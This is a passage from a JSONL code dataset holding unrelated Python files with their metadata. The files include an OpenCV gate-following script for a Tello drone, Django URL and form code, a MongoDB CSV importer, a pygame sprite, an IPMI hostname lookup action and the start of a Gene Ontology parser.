"call"}, {"api_name": "numpy.sin", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}]} +{"seq_id": "485907695", "text": "import numpy as np\nimport cv2\nimport imutils\nimport time\n#import tellopy\n#import av\nfrom djitellopy import Tello\n\ndrone = Tello()\n\ntry:\n drone.connect()\n #drone.wait_for_connection(60.0)\nexcept Exception as ex:\n print(ex)\n exit()\n\n#drone.streamon()\n#print(\"Hello hello hello\")\n#frame_read = drone.get_frame_read()\n\n#camera = frame_read\n#print(\"before\")\n#camera = av.open(drone.get_video_stream())\n#print(\"after\")\n#time.sleep(5)\ntry:\n drone.takeoff()\nexcept:\n drone.land()\n exit()\n#time.sleep(10)\n\ndrone.streamon()\n\ncamera = drone.get_frame_read()\niterators=0\nclose = False\nwhile (True):\n \n\n \n # get_corners():\n ### Grabbing the video feed, \"has frames\" and \"grabbed\" check if\n ###there's a next frame, if there isn't, the feed will stop\n\n ### We'll have \"img\" and \"image\" for different purposes. \"image\" is the\n ### original video on top of which we draw, \"img\" is the one masked and\n ### used for getting contours to know what to draw.\n #try:\n print(\"Camera try\")\n img = camera.frame\n image = camera.frame\n #cv2.imwrite(\"img.png\", img)\n if img is None:\n print(\"none\")\n continue\n #except:\n # print(\"Camera fail\")\n # continue\n #hasFrames, image = camera.read()\n #except:\n # drone.land()\n #grabbed, img = camera.read()\n #image = img\n ### Changing the frame into hsv colors and blurring it in various ways to smoothen\n \"\"\"\n if (iterators == 0):\n drone.move_left(20)\n iterators += 1\n time.sleep(0.5)\n if (iterators == 1):\n drone.move_right(20)\n iterators += 1\n time.sleep(0.5)\n if (iterators == 2):\n drone.land()\n time.sleep(0.5)\n iterators += 2\n \"\"\"\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n blur_hsv = cv2.GaussianBlur(hsv, (1,1),0)\n blur_hsv = cv2.medianBlur(blur_hsv, 5)\n\n\n ### Create a white mask of the shape and blur the hell out of it\n\n mask = cv2.inRange(blur_hsv,(33, 90, 90), (80, 255, 255) )\n\n blur_mask = cv2.GaussianBlur(mask, (1, 1), 0)\n blur_mask = cv2.medianBlur(blur_mask, 21)\n\n kernel = np.ones((11, 11), np.float32) * 255\n kernelImg = np.zeros([50, 50, 3], dtype=np.uint8)\n kernelImg.fill(255)\n\n mask = cv2.erode(blur_mask, kernel, iterations=3)\n\n mask = cv2.dilate(blur_mask, kernel, iterations=3)\n\n\n ###Resulting \"img\" used for contour counting\n img = blur_mask\n #cv2.imshow('showing', img)\n\n\n ### Gets edges and makes contours out of them and sorts them into a list\n edged = cv2.Canny(img, 10, 550)\n edged = cv2.medianBlur(edged, 1)\n #cv2.imshow('Filming', edged)\n\n cnts = cv2.findContours(img.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n\n #hull = np.array([[[5,5]],[[5,5]]])\n\n ### Empty list to be used later\n lista = np.array([])\n count = 0\n\n ###\n for c in cnts:\n\n ### approximate the contour and set minimum length fo rrecongised contours\n peri = cv2.arcLength(c, True)\n if peri >= 410:\n print(\"contours\")\n approx = cv2.approxPolyDP(c, 0.05 * peri, True)\n\n ### Collect long enough contours into the list\n lista = np.append(lista,approx).astype(int)\n count += len(approx)\n\n else:\n continue\n\n ### If there are between 4 and 10 corners, draw the contour on the \"image\"\n if len(approx) >= 4 and len(approx) <= 10:\n #cv2.imwrite(\"Test.png\", image)\n cv2.drawContours(image, [approx], -1, (0, 0, 255), 5)\n\n try:\n ### This is \"try\", because all frames don't have contours and otherwise it would end the code\n print(\"try listing\") \n lista = np.reshape(lista, (count, 2))\n\n except:\n continue\n\n mask2 = cv2.inRange(image, (0, 0, 250), (0, 0, 255))\n gray = mask2\n \n inline = False\n inlevel = False\n centered = False\n \n\n try:\n ### Draw the connecting contour (green) and use convex hull to surround it to get outermost edges and corners\n print(\"trying to get contours\")\n cv2.drawContours(image, [lista], -1, (0, 255, 0), 5)\n hull = cv2.convexHull(lista)\n cv2.drawContours(image,[hull], -1, (255,0,0),5)\n mask3 = cv2.inRange(image, (252, 0, 0), (255, 0, 0))\n\n corners = cv2.goodFeaturesToTrack(mask3, 4, 0.05, 110)\n corners = np.int0(corners)\n \n print(\"halfway contours\")\n ### This get and draws he center of gate\n ret, labels, stats, centroids = cv2.connectedComponentsWithStats(mask3)\n mask3 = cv2.cvtColor(mask3, cv2.COLOR_GRAY2BGR)\n for i in centroids[1:]:\n cv2.rectangle(image, (int(i[0]), int(i[1])), (int(i[0] + 5), int(i[1] + 5)), (255, 0, 0), 3)\n ### And this gets the center of image frame\n center_width = int(image.shape[1]/2)\n center_height = int(image.shape[0]/2)\n cv2.circle(image, (center_width, center_height), 10, (0, 0, 255), -1)\n print(\"end contours\")\n ### Here we compare the two different centers to determine where to move\n #cv2.imshow(\"image\", image)\n #cv2.imshow(\"img\", img)\n\n\n if center_width - centroids[1][0] > 35:\n print('Fly Left')\n drone.move_left(20)\n time.sleep(0.1)\n \n elif center_width - centroids[1][0] < -35:\n print('Fly Right')\n drone.move_right(20)\n time.sleep(0.25)\n \n else:\n print('Stay in line')\n inline = True\n\n if center_height - centroids[1][1] > 105:\n print('Fly Up')\n drone.move_up(20)\n time.sleep(0.25)\n\n elif center_height - centroids[1][1] < 45:\n print('Fly Down')\n drone.move_down(20)\n time.sleep(0.25)\n else:\n print('Stay in Level')\n inlevel = True\n time.sleep(0.25)\n\n ### Draws yellow corners on \"image\"\n for i in corners:\n x, y = i.ravel()\n cv2.circle(image, (x, y), 1, (0,255,255), -1)\n\n\n target = [0,255,255]\n X,Y = np.array(np.where(np.all(image==target, axis=2)))\n\n coordinates = np.array([])\n for c in range(0,19,5):\n coordinates = np.append(coordinates,X[c])\n coordinates = np.append(coordinates, Y[c])\n\n coordinates = np.reshape(coordinates,(4,2))\n\n except:\n drone.rotate_counter_clockwise(15)\n time.sleep(0.25)\n print(\"didn't get contours\")\n \n continue\n\n #cv2.imshow(\"gate2\", image)\n\n #time.sleep(0.05)\n\n #if cv2.waitKey(1) & 0xFF == ord('q'):\n #break\n\n\n #cv2.imshow(\"gate2\", image)\n\n # cv2.imshow('Filming', img)\n #time.sleep(0.05)\n\n #if cv2.waitKey(1) & 0xFF == ord('q'):\n #break\n bot_left = np.argmin(coordinates[2:4,1]) + 2\n top_left = np.argmin(coordinates[0:2,1])\n bot_right = np.argmax(coordinates[2:4,1]) + 2\n top_right = np.argmax(coordinates[0:2,1])\n try:\n \n\n #print(coordinates[bot_left])\n #print(coordinates[2])\n if (coordinates[bot_left][0] - coordinates[top_left][0]) - (coordinates[bot_right][0] - coordinates[top_right][0]) >6:\n #print()\n #print('Rotate to Left ')\n #print()\n drone.rotate_counter_clockwise(5)\n time.sleep(0.25)\n \n if (coordinates[bot_right][0] - coordinates[top_right][0]) - (coordinates[bot_left][0] - coordinates[top_left][0]) >6:\n #print()\n #print('Rotate to Right ')\n #print()\n drone.rotate_clockwise(5)\n time.sleep(0.25)\n\n else:\n #print()\n #print('Centered')\n #print()\n centered = True\n \n if (coordinates[bot_left][0] - coordinates[top_left][0]) < 490 and close == False:\n speed = 2.5/(coordinates[bot_left][0] - coordinates[top_left][0])*4900\n print(speed)\n if speed < 20:\n speed = 20\n drone.move_forward(int(speed))\n #close = False\n else:\n close = True\n\n except:\n print(\"rotate exception\")\n continue\n\n try:\n leftRigthDist = (coordinates[bot_left][0] - coordinates[top_left][0])>(coordinates[bot_right][0] - coordinates[top_right][0])\n if ((leftRightDist and (coordinates[top_right][1]-coordinates[top_left][1])<200) and close):\n drone.move_right(20)\n print(\"moving right\")\n time.sleep(0.25)\n elif ((leftRightDist and (coordinates[top_right][1]-coordinates[top_left][1])<200) and close):\n drone.move_left(20)\n print(\"moving right\")\n time.sleep(0.25)\n \n except:\n print(\"Angle exception\")\n \n print(inline, inlevel, centered, close)\n if inline and inlevel and centered and close:\n cv2.imwrite(\"img.png\", img)\n cv2.imwrite(\"image.png\", image)\n drone.move_forward(250)\n time.sleep(0.25)\n break\n \ntime.sleep(0.5)\ndrone.land()\n#drone.quit()\ncamera.release()\n#cv2.destroyAllWindows()\n\n\n", "sub_path": "FlyingTest.py", "file_name": "FlyingTest.py", "file_ext": "py", "file_size_in_byte": 9199, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "djitellopy.Tello", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 81, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 95, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 113, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 113, "usage_type": "attribute"}, {"api_name": "imutils.grab_contours", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.arcLength", "line_number": 126, "usage_type": "call"}, {"api_name": "cv2.approxPolyDP", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 151, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 162, "usage_type": "call"}, {"api_name": "cv2.convexHull", "line_number": 163, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 165, "usage_type": "call"}, {"api_name": "cv2.goodFeaturesToTrack", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.int0", "line_number": 168, "usage_type": "call"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 172, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 173, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 173, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 175, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 179, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 189, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 194, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 203, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 208, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 212, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 228, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 255, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 266, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 273, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 300, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 304, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 311, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 312, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 314, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 317, "usage_type": "call"}]} +{"seq_id": "339236833", "text": "from django.urls import path\nfrom movieinfo import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"movies/\", views.movie_list, name=\"movies_list\"),\n path(\"/\", views.actor_detail, name=\"actor_detail\"),\n path(\"/movies//\",\n views.movie_detail, name=\"movie_detail\"),\n path(\"actors/new/\", views.actor_new, name=\"actor_new\"),\n path(\"/movies/new/\",\n views.movie_new, name=\"movie_new\"),\n path(\"/movies//reviews/new/\",\n views.review_new, name=\"review_new\"),\n path(\n \"/movies//reviews//edit/\", views.review_edit, name=\"review_edit\"\n ),\n path(\n \"/movies//reviews//delete/\",\n views.review_delete,\n name=\"review_delete\",\n ),\n path(\"/movies//videos/new/\",\n views.video_new, name=\"video_new\"),\n\n]\n", "sub_path": "과제 20210806/03 송예지/movieinfo/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 954, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "movieinfo.views.index", "line_number": 5, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "movieinfo.views.movie_list", "line_number": 6, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "movieinfo.views.actor_detail", "line_number": 7, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "movieinfo.views.movie_detail", "line_number": 9, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "movieinfo.views.actor_new", "line_number": 10, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "movieinfo.views.movie_new", "line_number": 12, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "movieinfo.views.review_new", "line_number": 14, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "movieinfo.views.review_edit", "line_number": 16, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "movieinfo.views.review_delete", "line_number": 20, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "movieinfo.views.video_new", "line_number": 24, "usage_type": "attribute"}, {"api_name": "movieinfo.views", "line_number": 24, "usage_type": "name"}]} +{"seq_id": "309922850", "text": "from django.conf.urls import url\nfrom users.views import *\n\nurlpatterns = [\n\turl(r'^web/user/get/select/$', UserCreateAPIView.as_view(), name=\"get_select\"),\n\turl(r'^web/user/set/insert/$', UserCreateAPIView.as_view(), name=\"set_user\"),\n\turl(r'^web/user/set/password/$', ResetPassword.as_view(), name=\"reset_password\"),\n\turl(r'^web/logout/$', Logout.as_view(), name=\"logout\"),\n\turl(r'^web/user/get/select/(?P[0-9]+)/$', UserDetailAPIView.as_view(), name=\"detail_user\"),\n\turl(r'^web/user/set/update/(?P[0-9]+)/$', UserDetailAPIView.as_view(), name=\"update_user\"),\n\turl(r'^web/user/set/delete/(?P[0-9]+)/$', UserDetailAPIView.as_view(), name=\"delete_user\"),\n\n\turl(r'^web/type_user/get/select/$', TypeUserListAPIView.as_view(), name=\"list_type_user\"),\n\turl(r'^web/type_user/set/insert/$', TypeUserListAPIView.as_view(), name=\"insert_type_user\"),\n\turl(r'^web/type_user/set/update/(?P[0-9]+)/$', TypeUserDetailAPIView.as_view(), name=\"update_type_user\"),\n\turl(r'^web/type_user/set/delete/(?P[0-9]+)/$', TypeUserDetailAPIView.as_view(), name=\"delete_type_user\"),\n\turl(r'^web/type_user/get/select/(?P[0-9]+)/$', TypeUserDetailAPIView.as_view(), name=\"select_type_user\"),\n\turl(r'^web/type_user/get/sselect/$', TypeUserComboAPIView.as_view(), name=\"combo_type_user\"),\n\n\turl(r'^web/userapp/set/insert/$', SysUserAppCreateAPIView.as_view(), name=\"set_userapp\"),\n\turl(r'^web/userapp/get/select/$', SysUserAppCreateAPIView.as_view(), name=\"select_userapp\"),\n\turl(r'^web/userapp/set/update/(?P[0-9]+)/$', SysUserAppDetailAPIView.as_view(), name=\"detail_userapp\"),\n\turl(r'^web/userapp/get/select/(?P[0-9]+)/$', SysUserAppDetailAPIView.as_view(), name=\"get_select\"),\n\turl(r'^web/userapp/set/delete/(?P[0-9]+)/$', SysUserAppDetailAPIView.as_view(), name=\"set_delete\"),\n\n\turl(r'^web/configuration/get/select/$', ConfigurationAPIView.as_view(), name=\"get_configuration\"),\n\turl(r'^web/configuration/set/update/$', ConfigurationAPIView.as_view(), name=\"update_configuration\"),\n]\n", "sub_path": "tmp/users/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "41153333", "text": "import json\n\n\nfrom django import forms\n\nfrom .models import GenericModel\nfrom .utils import get_form_fields\n\n\nclass FlexibleForm(forms.ModelForm):\n\n def __init__(self, *args, instance=None, **kwargs):\n super(FlexibleForm, self).__init__(*args, instance=instance, **kwargs)\n\n if instance:\n initials = json.loads(instance.data)\n else:\n initials = {}\n\n self._extra_fields = get_form_fields(initials)\n\n self.fields.update(self._extra_fields)\n\n def save(self, commit=True):\n if hasattr(self, 'data'):\n self.instance.data = json.dumps(\n {\n field_name: self.cleaned_data[field_name]\n for field_name in self._extra_fields.keys()\n }\n )\n\n return super(FlexibleForm, self).save(commit)\n\n class Meta:\n model = GenericModel\n fields = []\n", "sub_path": "hhcodingtask/data_saver/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 908, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.forms.ModelForm", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 16, "usage_type": "call"}, {"api_name": "utils.get_form_fields", "line_number": 20, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 26, "usage_type": "call"}, {"api_name": "models.GenericModel", "line_number": 36, "usage_type": "name"}]} +{"seq_id": "231651007", "text": "import os\nimport sys\nimport csv\nimport logging\n\nfrom pymongo.errors import DuplicateKeyError\nfrom pyramid.paster import (\n get_appsettings,\n setup_logging,\n)\n\nfrom pyramid.scripts.common import parse_vars\n\nfrom airflight.collections import mongo_client_\nfrom ..collections import AirportCollection, AirlineCollection, RouteCollection\n\nlogger = logging.getLogger(__name__)\n\n\ndef usage(argv):\n cmd = os.path.basename(argv[0])\n print('usage: %s [var=value]\\n'\n '(example: \"%s development.ini\")' % (cmd, cmd))\n sys.exit(1)\n\n\ndef main(argv=sys.argv):\n \"\"\"\n Import data into mongo collections\n \"\"\"\n here = os.path.dirname(__file__)\n # Create file key with absolute path, class and fields\n COLLECTIONS = [\n {'klass': AirlineCollection,\n 'file': os.path.join(here, '../../data/airlines.csv'),\n 'fields': [\n 'name',\n '2_digit_code',\n '3_digit_code',\n 'country'\n ]\n },\n {'klass': AirportCollection,\n 'file': os.path.join(here, '../../data/airports.csv'),\n 'fields': [\n 'name',\n 'city',\n 'country',\n 'iata_3',\n 'latitute',\n 'longitude'\n ]\n },\n {'klass': RouteCollection,\n 'file': os.path.join(here, '../../data/routes.csv'),\n 'fields': [\n 'airline_id',\n 'origin',\n 'destination'\n ]\n }\n ]\n\n if len(argv) < 2:\n usage(argv)\n config_uri = argv[1]\n options = parse_vars(argv[2:])\n setup_logging(config_uri)\n settings = get_appsettings(config_uri, options=options)\n # Setup of MongoClient\n mongo_client_.setup(url=settings.get('mongo.url'),\n db=settings.get('mongo.db'))\n for collection in COLLECTIONS:\n\n mongo_collection = collection['klass']()\n with open(collection['file'], 'r') as csv_file:\n fields = collection['fields']\n csv_reader = csv.reader(csv_file, delimiter=',')\n for k, row in enumerate(csv_reader):\n # must ignore the headers\n if k > 0:\n # Convert to dict using fields\n to_dict = dict(zip(fields, row))\n try:\n mongo_collection.insert(data=to_dict)\n except DuplicateKeyError as e:\n logger.info(f\"This data already exist {str(to_dict)} \\n\") # noqa\n", "sub_path": "airflight/scripts/initialize_db.py", "file_name": "initialize_db.py", "file_ext": "py", "file_size_in_byte": 2529, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 24, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "collections.AirlineCollection", "line_number": 34, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "collections.AirportCollection", "line_number": 43, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "collections.RouteCollection", "line_number": 54, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pyramid.scripts.common.parse_vars", "line_number": 67, "usage_type": "call"}, {"api_name": "pyramid.paster.setup_logging", "line_number": 68, "usage_type": "call"}, {"api_name": "pyramid.paster.get_appsettings", "line_number": 69, "usage_type": "call"}, {"api_name": "airflight.collections.mongo_client_.setup", "line_number": 71, "usage_type": "call"}, {"api_name": "airflight.collections.mongo_client_", "line_number": 71, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 78, "usage_type": "call"}, {"api_name": "pymongo.errors.DuplicateKeyError", "line_number": 86, "usage_type": "name"}]} +{"seq_id": "585551849", "text": "import pygame\nfrom pygame.sprite import Sprite\nimport random\n\n\nclass TNT(Sprite):\n def __init__(self, screen):\n super().__init__()\n self.screen = screen\n self.screen_rect = screen.get_rect()\n self.image = pygame.image.load(\"tnt.jpg\")\n self.rect = self.image.get_rect()\n self.rect.centerx = random.randint(132, 1130)\n self.rect.top = self.screen_rect.top\n self.y = float(self.rect.y)\n self.speed = 0.4\n\n def update(self):\n self.y += self.speed\n self.rect.y = self.y\n\n def blitme(self):\n self.screen.blit(self.image, self.rect)\n", "sub_path": "tnt.py", "file_name": "tnt.py", "file_ext": "py", "file_size_in_byte": 619, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pygame.sprite.Sprite", "line_number": 6, "usage_type": "name"}, {"api_name": "pygame.image.load", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 11, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "581671928", "text": "##############################################################################\n# Copyright 2018 Parker Berberian and Others #\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\"); #\n# you may not use this file except in compliance with the License. #\n# You may obtain a copy of the License at #\n# #\n# http://www.apache.org/licenses/LICENSE-2.0 #\n# #\n# Unless required by applicable law or agreed to in writing, software #\n# distributed under the License is distributed on an \"AS IS\" BASIS, #\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #\n# See the License for the specific language governing permissions and #\n# limitations under the License. #\n##############################################################################\n\nimport sqlite3\nfrom st2actions.runners.pythonrunner import Action\n\n\nclass ipmi_infoAction(Action):\n\n def run(self, host=None):\n db_file = self.action_service.get_value(name=\"database\", local=False)\n db = sqlite3.connect(db_file)\n c = db.cursor()\n ipmi_host = c.execute(\"SELECT host FROM ipmi WHERE host=?\", (host,)).fetchone()\n if ipmi_host:\n db.close()\n return host\n host_number = c.execute(\"SELECT server_number FROM hosts WHERE hostname=?\", (host,)).fetchone()[0]\n ipmi_host = c.execute(\"SELECT host FROM ipmi WHERE server_number=?\", (host_number,)).fetchone()\n db.close()\n return ipmi_host[0]\n", "sub_path": "laas/actions/actions/get_ipmi_hostname.py", "file_name": "get_ipmi_hostname.py", "file_ext": "py", "file_size_in_byte": 1871, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "st2actions.runners.pythonrunner.Action", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "562852659", "text": "#!/usr/bin/env \n\nimport os, sys\nfrom optparse import OptionParser\nfrom collections import defaultdict\nimport networkx as nx\n# See the tutorial of obonet here: \n# https://github.com/dhimmel/obonet/blob/master/examples/go-obonet.ipynb\nimport obonet\nimport pandas as pd\nfrom tqdm import tqdm\n\n\n# Guide to GO evidence codes: http://geneontology.org/page/guide-go-evidence-codes\nALL_EVIDENCE_CODES = ['EXP','IDA','IPI','IMP','IGI','IEP','ISS','ISO','ISA','ISM','IGC','IBA','IBD','IKR','IRD','RCA','TAS','NAS','IC','ND','IEA']\n\n\ndef parse_obo_file_and_build_dags(obo_file):\n \"\"\"\n Parse the GO OBO into a networkx MultiDiGraph using obonet.\n Then construct a DAG for each category using the 'is_a' relationships \n \n *returns*: a dictionary containing a DAG for each of the 3 GO categories 'C', 'F', and 'P'\n \"\"\"\n global id_to_name\n global name_to_id\n global goid_to_category # mapping from a GO term ID and the category it belongs to ('C', 'F' or 'P')\n\n print(\"Reading GO OBO file from %s\" % (obo_file))\n # obonet returns a networkx MultiDiGraph object containing all of the relationships in the ontology\n graph = obonet.read_obo(obo_file)\n # build a mapping from the GO term IDs to the name of the GO term\n id_to_name = {id_: data['name'] for id_, data in graph.nodes(data=True)}\n name_to_id = 